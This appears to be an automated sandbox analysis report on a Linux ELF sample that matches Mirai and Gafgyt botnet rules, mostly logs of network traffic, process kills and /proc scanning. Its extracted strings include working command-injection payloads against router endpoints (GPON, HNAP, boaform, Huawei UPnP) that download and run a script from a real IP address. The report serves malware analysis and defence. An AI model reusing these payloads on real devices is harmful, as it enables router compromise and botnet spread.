Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43766
Source: unknown	Network traffic detected: HTTP traffic on port 51270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54256
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33796
Source: unknown	Network traffic detected: HTTP traffic on port 51952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58860
Source: unknown	Network traffic detected: HTTP traffic on port 38670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55590
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41178
Source: unknown	Network traffic detected: HTTP traffic on port 42742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 19025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57536
Source: unknown	Network traffic detected: HTTP traffic on port 56706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36818
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43588
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34626
Source: unknown	Network traffic detected: HTTP traffic on port 40378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33540
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55374
Source: unknown	Network traffic detected: HTTP traffic on port 45190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57550
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42248
Source: unknown	Network traffic detected: HTTP traffic on port 33502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50924
Source: unknown	Network traffic detected: HTTP traffic on port 45320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33762
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54050
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40054
Source: unknown	Network traffic detected: HTTP traffic on port 50866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59906
Source: unknown	Network traffic detected: HTTP traffic on port 37168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34206
Source: unknown	Network traffic detected: HTTP traffic on port 34578 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: I9k2Q7HKfO.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: I9k2Q7HKfO.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: I9k2Q7HKfO.elf PID: 6260, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: I9k2Q7HKfO.elf PID: 6311, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythonbusyboxiptablesnanonvimvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiawatchdogmkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapth/usr/bin/usr/ftp/usr/sbinusr/binusr/ftpusr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0+h+dPOST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST / HTTP/1.1 404 Not Found
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6304)	SIGKILL sent: pid: 6314, result: successful	Jump to behavior

Source: I9k2Q7HKfO.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: I9k2Q7HKfO.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: I9k2Q7HKfO.elf PID: 6260, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: I9k2Q7HKfO.elf PID: 6311, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/0@0/0

Source: /bin/sh (PID: 6267)

Chmod directory: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/4502/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/2208/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1809/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/1494/cmdline	Jump to behavior
Source: /tmp/I9k2Q7HKfO.elf (PID: 6303)	File opened: /proc/260/cmdline	Jump to behavior

Source: /tmp/I9k2Q7HKfO.elf (PID: 6262)

Shell command executed: sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/I9k2Q7HKfO.elf usr/bin; chmod 777 usr/bin"

Jump to behavior

Source: /bin/sh (PID: 6267)

Chmod executable: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Source: /bin/sh (PID: 6265)

Mkdir executable: /usr/bin/mkdir -> mkdir usr

Jump to behavior

Source: /bin/sh (PID: 6264)

Rm executable: /usr/bin/rm -> rm -rf usr/bin

Jump to behavior

Source: /usr/bin/chmod (PID: 6267)

File: /tmp/usr/bin (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 6267)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 usr/bin

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42372 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58486 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 54294 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45296 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45962 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55868 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55910 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51852
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58826 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41166 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41184 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47774
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47774
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60426 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47790
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51398
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51398
